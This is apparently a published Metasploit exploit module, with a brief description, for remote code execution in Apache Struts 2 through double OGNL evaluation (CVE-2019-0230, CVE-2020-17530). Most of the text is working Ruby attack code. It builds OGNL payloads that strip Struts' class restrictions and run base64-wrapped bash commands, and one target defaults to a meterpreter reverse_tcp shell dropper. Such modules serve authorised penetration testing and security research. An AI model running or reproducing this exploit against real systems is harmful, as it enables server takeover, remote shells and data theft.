Apache Struts 2 Forced Multi OGNL Evaluation

The Apache Struts framework, when forced, performs double evaluation of attribute values assigned to certain tags attributes such as id. It is therefore possible to pass in a value to Struts that will be evaluated again when a tag's attributes are rendered. With a carefully crafted request, this can lead to remote code execution. This vulnerability is application dependant. A server side template must make an affected use of request data to render an HTML tag attribute.


MD5 | a00ae15a323f6cf0ba8c86991a9f2707

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Struts 2 Forced Multi OGNL Evaluation',
'Description' => %q{
The Apache Struts framework, when forced, performs double evaluation of attributes' values assigned to certain tags
attributes such as id. It is therefore possible to pass in a value to Struts that will be evaluated again when a
tag's attributes are rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE).

This vulnerability is application dependant. A server side template must make an affected use of request data to
render an HTML tag attribute.
},
'Author' => [
'Spencer McIntyre', # Metasploit module
'Matthias Kaiser', # discovery of CVE-2019-0230
'Alvaro Muñoz', # (@pwntester) discovery of CVE-2020-17530
'ka1n4t', # PoC of CVE-2020-17530
],
'References' => [
['CVE', '2019-0230'],
['CVE', '2020-17530'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-059'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-061'],
['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-059'],
['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-061'],
['URL', 'https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2'],
['URL', 'https://github.com/ka1n4t/CVE-2020-17530'],
],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DisclosureDate' => '2020-09-14', # CVE-2019-0230 NVD publication date
'Notes' =>
{
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
'Reliability' => [ REPEATABLE_SESSION, ]
},
'DefaultTarget' => 0
)
)

register_options([
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
OptString.new('NAME', [ true, 'The HTTP query parameter or form data name', 'id']),
OptEnum.new('CVE', [ true, 'Vulnerability to use', 'CVE-2020-17530', ['CVE-2020-17530', 'CVE-2019-0230']])
])
register_advanced_options([
OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),
OptString.new('HttpCookie', [false, 'An optional cookie to include when making the HTTP request'])
])
end

def check
num1 = rand(1000..9999)
num2 = rand(1000..9999)

res = send_request_cgi(build_http_request(datastore['CVE'], "#{num1}*#{num2}"))
if res.nil?
return CheckCode::Unknown
elsif res.body.scan(/(["'])\s*#{(num1 * num2)}\s*\1/).empty?
return CheckCode::Safe
end

return CheckCode::Appears
end

def exploit
cve = datastore['CVE']
print_status("Executing #{target.name} for #{datastore['PAYLOAD']} using #{cve}")

if cve == 'CVE-2019-0230'
ognl = []
ognl << '#context=#attr[\'struts.valueStack\'].context'
ognl << '#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']'
ognl << '#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)'
ognl << '#ognlUtil.setExcludedClasses(\'\')'
ognl << '#ognlUtil.setExcludedPackageNames(\'\')'
res = send_request_cgi(build_http_request(cve, ognl))
fail_with(Failure::UnexpectedReply, 'Failed to execute the OGNL preamble') unless res&.code == 200
end

case target['Type']
when :unix_cmd
execute_command(payload.encoded, { cve: cve })
when :linux_dropper
execute_cmdstager({ cve: cve, delay: datastore['CMDSTAGER::DELAY'], linemax: 512 })
end
end

def execute_command(cmd, opts = {})
send_request_cgi(build_http_request(opts[:cve], build_ognl(opts[:cve], cmd)), 5)
end

def build_http_request(cve, ognl)
ognl = ognl.map { |part| "(#{part})" }.join('.') if ognl.is_a? Array

http_request_parameters = { 'uri' => normalize_uri(target_uri.path) }
http_request_parameters['cookie'] = datastore['HttpCookie'] unless datastore['HttpCookie'].blank?
if cve == 'CVE-2019-0230'
http_request_parameters['method'] = 'GET'
http_request_parameters['vars_get'] = { datastore['NAME'] => "%{#{ognl}}" }
elsif cve == 'CVE-2020-17530'
http_request_parameters['method'] = 'POST'
http_request_parameters['vars_post'] = { datastore['NAME'] => "%{#{ognl}}" }
end
http_request_parameters
end

def build_ognl(cve, cmd)
cmd = "bash -c {echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d}|bash"
ognl = []
if cve == 'CVE-2019-0230'
ognl << '#context=#attr[\'struts.valueStack\'].context'
ognl << '#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)'
ognl << "@java.lang.Runtime@getRuntime().exec(\"#{cmd}\")"
elsif cve == 'CVE-2020-17530'
ognl << '#instancemanager=#application["org.apache.tomcat.InstanceManager"]'
ognl << '#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]'
ognl << '#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")'
ognl << '#bean.setBean(#stack)'
ognl << '#context=#bean.get("context")'
ognl << '#bean.setBean(#context)'
ognl << '#macc=#bean.get("memberAccess")'
ognl << '#bean.setBean(#macc)'
ognl << '#emptyset=#instancemanager.newInstance("java.util.HashSet")'
ognl << '#bean.put("excludedClasses",#emptyset)'
ognl << '#bean.put("excludedPackageNames",#emptyset)'
ognl << '#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")'
ognl << "#execute.exec({\"#{cmd}\"})"
end

ognl
end
end

Related Posts